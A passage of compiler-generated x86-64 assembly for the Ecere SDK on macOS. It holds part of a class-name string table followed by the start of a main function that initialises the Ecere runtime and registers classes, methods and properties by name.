.comm ___ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll
l_.str.43: ; @.str.43
.asciz "ecere::com::CustomAVLTree"
.comm ___ecereClass___ecereNameSpace__ecere__com__CustomAVLTree,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__CustomAVLTree
l_.str.44: ; @.str.44
.asciz "ecere::com::DataMember"
.comm ___ecereClass___ecereNameSpace__ecere__com__DataMember,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__DataMember
l_.str.45: ; @.str.45
.asciz "ecere::com::DataValue"
.comm ___ecereClass___ecereNameSpace__ecere__com__DataValue,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__DataValue
l_.str.46: ; @.str.46
.asciz "ecere::com::GlobalFunction"
.comm ___ecereClass___ecereNameSpace__ecere__com__GlobalFunction,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__GlobalFunction
l_.str.47: ; @.str.47
.asciz "ecere::com::Iterator"
.comm ___ecereClass___ecereNameSpace__ecere__com__Iterator,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Iterator
l_.str.48: ; @.str.48
.asciz "data"
.comm ___ecereProp___ecereNameSpace__ecere__com__Iterator_data,8,3 ; @__ecereProp___ecereNameSpace__ecere__com__Iterator_data
l_.str.49: ; @.str.49
.asciz "ecere::com::IteratorPointer"
.comm ___ecereClass___ecereNameSpace__ecere__com__IteratorPointer,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__IteratorPointer
l_.str.50: ; @.str.50
.asciz "ecere::com::List"
.comm ___ecereClass___ecereNameSpace__ecere__com__List,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__List
l_.str.51: ; @.str.51
.asciz "ecere::com::List<String>"
.comm ___ecereClass___ecereNameSpace__ecere__com__List_TPL_String_,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__List_TPL_String_
l_.str.52: ; @.str.52
.asciz "ecere::com::Map"
.comm ___ecereClass___ecereNameSpace__ecere__com__Map,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Map
l_.str.53: ; @.str.53
.asciz "ecere::com::Map<ContextStringPair, ecere::com::List<String> >"
.comm ___ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___
l_.str.54: ; @.str.54
.asciz "ecere::com::MapIterator"
.comm ___ecereClass___ecereNameSpace__ecere__com__MapIterator,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__MapIterator
l_.str.55: ; @.str.55
.asciz "key"
.comm ___ecereProp___ecereNameSpace__ecere__com__MapIterator_key,8,3 ; @__ecereProp___ecereNameSpace__ecere__com__MapIterator_key
l_.str.56: ; @.str.56
.asciz "map"
.comm ___ecereProp___ecereNameSpace__ecere__com__MapIterator_map,8,3 ; @__ecereProp___ecereNameSpace__ecere__com__MapIterator_map
l_.str.57: ; @.str.57
.asciz "ecere::com::Method"
.comm ___ecereClass___ecereNameSpace__ecere__com__Method,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Method
l_.str.58: ; @.str.58
.asciz "ecere::com::NameSpace"
.comm ___ecereClass___ecereNameSpace__ecere__com__NameSpace,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__NameSpace
l_.str.59: ; @.str.59
.asciz "ecere::com::Platform"
l_.str.60: ; @.str.60
.asciz "char *"
.comm ___ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_,8,3 ; @__ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_
l_.str.61: ; @.str.61
.asciz "ecere::com::Property"
.comm ___ecereClass___ecereNameSpace__ecere__com__Property,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__Property
l_.str.62: ; @.str.62
.asciz "ecere::com::SerialBuffer"
.comm ___ecereClass___ecereNameSpace__ecere__com__SerialBuffer,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__SerialBuffer
l_.str.63: ; @.str.63
.asciz "ecere::com::SubModule"
.comm ___ecereClass___ecereNameSpace__ecere__com__SubModule,8,3 ; @__ecereClass___ecereNameSpace__ecere__com__SubModule
l_.str.64: ; @.str.64
.asciz "ecere::sys::BTNode"
.comm ___ecereClass___ecereNameSpace__ecere__sys__BTNode,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__BTNode
l_.str.65: ; @.str.65
.asciz "next"
.comm ___ecereProp___ecereNameSpace__ecere__sys__BTNode_next,8,3 ; @__ecereProp___ecereNameSpace__ecere__sys__BTNode_next
l_.str.66: ; @.str.66
.asciz "ecere::sys::BinaryTree"
.comm ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__BinaryTree
l_.str.67: ; @.str.67
.asciz "first"
.comm ___ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first,8,3 ; @__ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first
l_.str.68: ; @.str.68
.asciz "ecere::sys::File"
.comm ___ecereClass___ecereNameSpace__ecere__sys__File,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__File
l_.str.69: ; @.str.69
.asciz "Eof"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof
l_.str.70: ; @.str.70
.asciz "Puts"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts
l_.str.71: ; @.str.71
.asciz "Read"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Read,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Read
l_.str.72: ; @.str.72
.asciz "Seek"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek
l_.str.73: ; @.str.73
.asciz "Write"
.comm ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Write,4,2 ; @__ecereVMethodID___ecereNameSpace__ecere__sys__File_Write
l_.str.74: ; @.str.74
.asciz "ecere::sys::OldLink"
.comm ___ecereClass___ecereNameSpace__ecere__sys__OldLink,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__OldLink
l_.str.75: ; @.str.75
.asciz "ecere::sys::OldList"
.comm ___ecereClass___ecereNameSpace__ecere__sys__OldList,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__OldList
l_.str.76: ; @.str.76
.asciz "ecere::sys::TempFile"
.comm ___ecereClass___ecereNameSpace__ecere__sys__TempFile,8,3 ; @__ecereClass___ecereNameSpace__ecere__sys__TempFile
l_.str.77: ; @.str.77
.asciz "ecs"
l_.str.78: ; @.str.78
.asciz "SymbolgenApp"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movl -8(%rbp), %esi
movq -16(%rbp), %rdx
movl $1, %edi
callq ___ecereNameSpace__ecere__com____ecere_COM_Initialize
movq %rax, %rcx
movq %rcx, -32(%rbp)
movq %rcx, ___currentModule(%rip)
movq ___thisModule@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str(%rip), %rsi
movl $2, %edx
movq ___ecereDll_Load_ec@GOTPCREL(%rip), %rcx
movq ___ecereDll_Unload_ec@GOTPCREL(%rip), %r8
callq ___ecereNameSpace__ecere__com__eModule_LoadStatic
movq -32(%rbp), %rdi
leaq L_.str.1(%rip), %rsi
movl $2, %edx
movq ___ecereDll_Load_ecere@GOTPCREL(%rip), %rcx
movq ___ecereDll_Unload_ecere@GOTPCREL(%rip), %r8
callq ___ecereNameSpace__ecere__com__eModule_LoadStatic
movq -32(%rbp), %rdi
callq ___ecereRegisterModule_ecs
movq -32(%rbp), %rdi
leaq L_.str.2(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Application@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.3(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Instance@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.4(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Module@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.5(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Attrib@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.6(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ClassDefinition@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.7(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ClassImport@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.8(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_CodePosition@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.9(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Context@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.10(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ContextStringPair@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.11(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_DBTableDef@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.12(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Declaration@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.13(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Declarator@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Definition@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.15(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Expression@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.16(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ExtDecl@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.17(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_External@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.18(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_FunctionDefinition@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_FunctionImport@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Identifier@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.21(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ImportedModule@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.22(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Initializer@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.23(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Instantiation@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.24(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Location@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.25(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_MethodImport@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.26(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_ModuleImport@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.27(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_PropertyImport@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.28(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Specifier@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.29(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Statement@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.30(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Symbol@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.31(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_TemplateArgument@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.32(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_TemplateDatatype@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.33(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_TemplateParameter@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.34(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_Type@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.35(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass_TypeName@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.36(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__BTNamedLink@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.37(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Class@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.38(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__ClassTemplateArgument@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.39(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, -40(%rbp)
movq -40(%rbp), %rdi
movq -32(%rbp), %rdx
leaq L_.str.40(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_2
## %bb.1:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Add@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_2:
movq -40(%rbp), %rdi
movq -32(%rbp), %rdx
leaq L_.str.41(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_4
## %bb.3:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__com__Container_Free@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_4:
movq -40(%rbp), %rdi
movq -32(%rbp), %rdx
leaq L_.str.42(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_6
## %bb.5:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__com__Container_RemoveAll@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_6:
movq -32(%rbp), %rdi
leaq L_.str.43(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__CustomAVLTree@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.44(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__DataMember@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.45(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__DataValue@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.46(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__GlobalFunction@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.47(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Iterator@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__com__Iterator@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.48(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__com__Iterator_data@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.49(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__IteratorPointer@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.50(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__List@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.51(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__List_TPL_String_@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.52(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Map@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.53(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Map_TPL_ContextStringPair__ecere__com__List_TPL_String___@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.54(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__MapIterator@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__com__MapIterator@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.55(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__com__MapIterator_key@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__com__MapIterator@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.56(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__com__MapIterator_map@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.57(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Method@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.58(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__NameSpace@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.59(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, -40(%rbp)
movq -40(%rbp), %rdi
movq -32(%rbp), %rdx
leaq L_.str.60(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__com__Platform_char__PTR_@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.61(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__Property@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.62(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__SerialBuffer@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.63(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__com__SubModule@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.64(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__BTNode@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__sys__BTNode@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.65(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__sys__BTNode_next@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.66(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__sys__BinaryTree@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.67(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindProperty
movq %rax, %rcx
movq %rcx, -56(%rbp)
movq ___ecereProp___ecereNameSpace__ecere__sys__BinaryTree_first@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.68(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.69(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_8
## %bb.7:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Eof@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_8:
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.70(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_10
## %bb.9:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Puts@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_10:
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.71(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_12
## %bb.11:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Read@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_12:
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.72(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_14
## %bb.13:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Seek@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_14:
movq ___ecereClass___ecereNameSpace__ecere__sys__File@GOTPCREL(%rip), %rax
movq (%rax), %rdi
movq -32(%rbp), %rdx
leaq L_.str.73(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eClass_FindMethod
movq %rax, -48(%rbp)
cmpq $0, -48(%rbp)
je LBB0_16
## %bb.15:
movq -48(%rbp), %rax
movl 48(%rax), %ecx
movq ___ecereVMethodID___ecereNameSpace__ecere__sys__File_Write@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
LBB0_16:
movq -32(%rbp), %rdi
leaq L_.str.74(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__OldLink@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.75(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__OldList@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
movq -32(%rbp), %rdi
leaq L_.str.76(%rip), %rsi
callq ___ecereNameSpace__ecere__com__eSystem_FindClass
movq %rax, %rcx
movq ___ecereClass___ecereNameSpace__ecere__sys__TempFile@GOTPCREL(%rip), %rax
